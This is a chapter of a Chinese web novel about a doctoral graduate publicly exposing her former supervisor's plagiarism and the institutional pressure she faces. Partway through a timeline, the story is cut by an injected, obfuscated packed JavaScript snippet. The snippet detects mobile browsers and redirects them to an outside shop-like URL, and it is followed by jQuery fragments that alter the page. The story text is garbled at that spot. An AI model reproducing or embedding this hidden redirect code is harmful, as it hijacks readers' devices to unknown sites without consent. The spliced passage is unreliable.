罗贝妮握着手机，一动不动。
吴小糖急了，从沙发上跳起来。
“他什么意思？让罗老师走？！”
俞彩虹冷笑了一声。那笑声里没有笑意，只有冷。
“这就是体制内的压力，先礼后兵，软硬兼施；先跟你谈声誉，再跟你谈未来；最后暗示你，自己走，对大家都好。”
罗贝妮的眼泪流下来。
这一次是汹涌的，止不住地流。
“他们……他们是一伙的。”
徐寄遥走过来，在她旁边坐下。
她没有说话，只是伸出手，轻轻按在罗贝妮的手背上。
那手的温度，让罗贝妮的颤抖稍微平息了一点。
“罗老师，你现在看到了吗？”
罗贝妮抬起头。眼睛红肿，但眼神还在。
“学术圈不是真理至上，不是公平公正，是人情、利益、权力编织起来的一张网；张凌烽是网里的一个点，任国新是另一个点；他们互相支撑，互相保护。”
“你动了一个点，整个网都会动起来。”
罗贝妮沉默了。
过了很久，她问：
“那我还能赢吗？”
徐寄遥看着她。
“赢的定义是什么？”
罗贝妮愣了一下。
“是让他承认剽窃？是让他道歉？是让他被处分？”
徐寄遥点点头。
“这些都有可能实现，也有可能实现不了，但有一件事，你已经做到了。”
“什么事？”
“让所有人看到这张网。”
/
3月28日，晚上。
张凌烽还是没有回应。
微博上静悄悄的，像一只把头埋进沙子里的鸵鸟。
但应宽在电脑前发现了别的东西。
“寄遥，你看这个。”
徐寄遥走过去。
屏幕上是一个网页，和解大师APP的专家专栏页面。
张凌烽的头像挂在最显眼的位置，像一面旗帜。旁边写着：特约专家·张凌烽。
下面是他的专栏文章列表。长长的一串，从去年排到今年。
应宽指着最新的一篇。
“你看这个标题。”
徐寄遥凑近看。
《从“师生冲突”看当代年轻人的心理困境》
发布日期：3月26日。
也就是两天前。
徐寄遥点进去，快速扫了一遍。
文章写得很有水平。从心理学角度分析师生冲突的成因，引用了几个案例，最后得出结论：师生冲突的本质是代际认知差异，需要双方互相理解、互相包容。
文章里没有提罗贝妮的名字。但明眼人一看就知道，这是在回应什么。
应宽冷笑了一声。
“他不敢在微博上说话，但在专栏里没闲着，把自己的问题包装成社会现象。”
俞彩虹走过来，看了一眼屏幕。她的眼神很冷。
“先制造问题，再解决问题；先让人受害，再让人付费。”
她指着张凌烽的头像。
“他是他们的特约专家，他越权威，这个APP就越可信；他越干净，他们的生意就越好做。”
/
3月29日，下午。
应宽又有了新发现。
他把屏幕转向大家，脸上的表情很复杂。像是找到了证据，又像是看到了恶心的事。
“张凌烽的专栏里，又更新了一篇，专门写学术维权的。”
标题是：
《当学术维权成为热点——关于学术争议的几点思考》
发布时间：3月28日。
文章里，张凌烽以资深学者的身份，分析了当前学术维权的几个问题：
“一、网络维权容易放大情绪，偏离事实。”
“二、部分学生缺乏对学术研究的敬畏。”
“三、学术争议应该回归学术圈内部解决。”
最后一段，他写道：
“真正的学术，需要冷静、理性、耐心。而不是在网络上炒作、博眼球、煽动情绪。希望年轻学者能够明白这个道理。”
吴小糖看完，脸涨得通红。那红不是害羞，是愤怒。
“他这是贼喊捉贼！”
俞彩虹冷笑。那冷笑里，有一种看透了的清醒。
“这就是话语权，他站在高处，说什么都是权威观点；你站在低处，说什么都是情绪发泄。”
罗贝妮盯着那篇文章，没有说话。
但她的眼睛里，有什么东西在变化。
/
3月30日，凌晨。
罗贝妮躺在床上，盯着天花板。
睡不着。
脑子里一直在转。任国新的电话，张凌烽的专栏，网上那些评论。
一条一条，像放电影一样，来回地转，来回地转。
她爬起来，走到客厅。
徐寄遥还在电脑前。屏幕的蓝光打在她脸上，把她的轮廓勾勒得很清晰。
“睡不着？”
罗贝妮点点头，在她旁边坐下。
“寄遥，我问你一个问题。”
“嗯。”
“你说，他为什么要在和解大师上写那些东西？”
徐寄遥想了想。那想的几秒钟里，她的眼神没有离开屏幕。
“因为那是他的地盘，在微博上，他是被质疑的对象；在和解大师上，他是权威专家，他需要那个身份来支撑自己。”
罗贝妮沉默了几秒。
“那、我要不要回应？”
徐寄遥转过头，看着她。
“你觉得呢？”
罗贝妮想了想。这一次她想得比之前久。
“不回应，让他写，他写得越多，破绽越多。”
徐寄遥嘴角微微上扬。那是她今天第一次露出笑容。
“那就等着。”
/
3月31日，下午。
应宽把最近一周的所有信息整理成了一张大表。
时间、事件、平台、关键信息，一条一条列得清清楚楚。不是简单的列表，而是像一张作战地图，把敌我双方的每一个动向都标了出来。
2020年2月：罗贝妮提交第一篇博士论文
2020年3月：张凌烽否定论文，说意义不大
2020年4月：罗贝妮被迫更换选题
2024年10月：张凌烽剽窃论文发表在国际顶级期刊
2024年12月：张凌烽凭借这篇论文评上院长
2024年12月：罗贝妮发现被剽窃
2025年1月：罗贝妮找张凌烽沟通，开始被霸凌
2025年2月-3月初：张凌烽安排连续培训，制造旷工
2025年3月18日：罗贝妮向学校五个部门提交实名举报信
2025年3月18日-21日：举报信发出后，连续三天无任何回应
2025年3月21日：罗贝妮发布第一篇小红书长文，公开举报
2025年3月24日：张凌烽首次微博回应
2025年3月25日：罗贝妮发布第二篇长文，质疑四年研究
2025年3月26日：张凌烽在和解大师专栏发文
2025年3月27日：副校长任国新与罗贝妮通电话
2025年3月28日：
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239925|197680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
张凌烽再发专栏，谈学术维权
2025年3月29日-30日：无回应
他把这张表投影到白墙上。
“你们看，张凌烽的节奏很清晰，在微博上沉默，在和解大师上发声；两边分开，互不干扰。”
俞彩虹点点头。
“这说明他怕了，怕在微博上说错话，怕被抓住把柄；但在和解大师上，他是安全的，那是他的地盘，没有人质疑他。”
罗贝妮盯着那张表，看了很久。
然后她开口。声音很轻，但每一个字都很清晰。
“俞老师，你之前说的祛魅，我现在真的明白了。”
俞彩虹看着她。
“这些东西，我以前觉得很高。院长、专家、权威，都是我需要仰望的。但现在看清楚了，也不过如此。”
徐寄遥走过来。
“那你打算怎么办？”
罗贝妮想了想。这一次她想了很久。
“继续发，让他继续写，让他把所有的底牌都亮出来。”
/
3月31日，晚上九点。
罗贝妮发布了第五篇长文。
标题很简单，只有一行字：
《张凌烽院长，和解大师APP上的文章，是写给谁看的？》
正文里，她把应宽整理的那张时间线图完整地放了上去。
从2020年她提交第一篇博士论文开始，到2025年3月31日今天为止。五年时间，十几件大事，每一件都有时间，有证据，有出处。
最后，她写了一句话：
“我把举报信发给学校的时候，我以为会有人回应，我等了三天，没有；所以我只能把真相发到网上，让所有人看到。”
“张凌烽院长，您写这些文章的时候，在想什么？”
帖子发出去之后，评论区一片沸腾。
不是之前那种各执一词的沸腾，而是一种终于看清真相的沸腾。
“举报信发了三天没回应？学校在干什么？”
“所以她是走投无路才上网的？”
“这张时间线太清楚了！”
/
凌晨一点，罗贝妮放下手机。
她站起来，走到窗边。
窗外是城市的夜色，万家灯火早已熄灭，只剩下零星的几盏路灯，孤零零地亮着。偶尔有一辆车驶过，车灯划过夜色，很快又消失在黑暗里。
徐寄遥走过来，站在她旁边。
“还不睡？”
罗贝妮摇摇头。
“睡不着。”
她顿了顿。
“寄遥，你说，他明天会怎么回应？”
徐寄遥想了想。
“不会回应，他不敢回应这张时间线。”
“那他会怎么做？”
“不知道，但他肯定不会就这么算了。”
罗贝妮沉默了几秒。
“我不怕。”
徐寄遥转过头，看着她。
罗贝妮的眼睛里，有一种之前没有的东西。
不是愤怒，不是恐惧，而是一种平静。那种平静，像是终于看清了对手之后，知道自己该怎么做了。
“我不怕他回应，也不怕他不回应；他做什么，我就回应什么。”
徐寄遥点点头。
“那就好。”
夜风吹过，窗外的树叶沙沙作响。
罗贝妮看着窗外，忽然想起五年前，自己刚考上博士的时候。那时候她以为学术圈是神圣的，是追求真理的地方。
现在她知道了，学术圈也是江湖，也有刀光剑影，也有利益纷争。
但没关系。
她已经不是那个等着别人回应的罗贝妮了。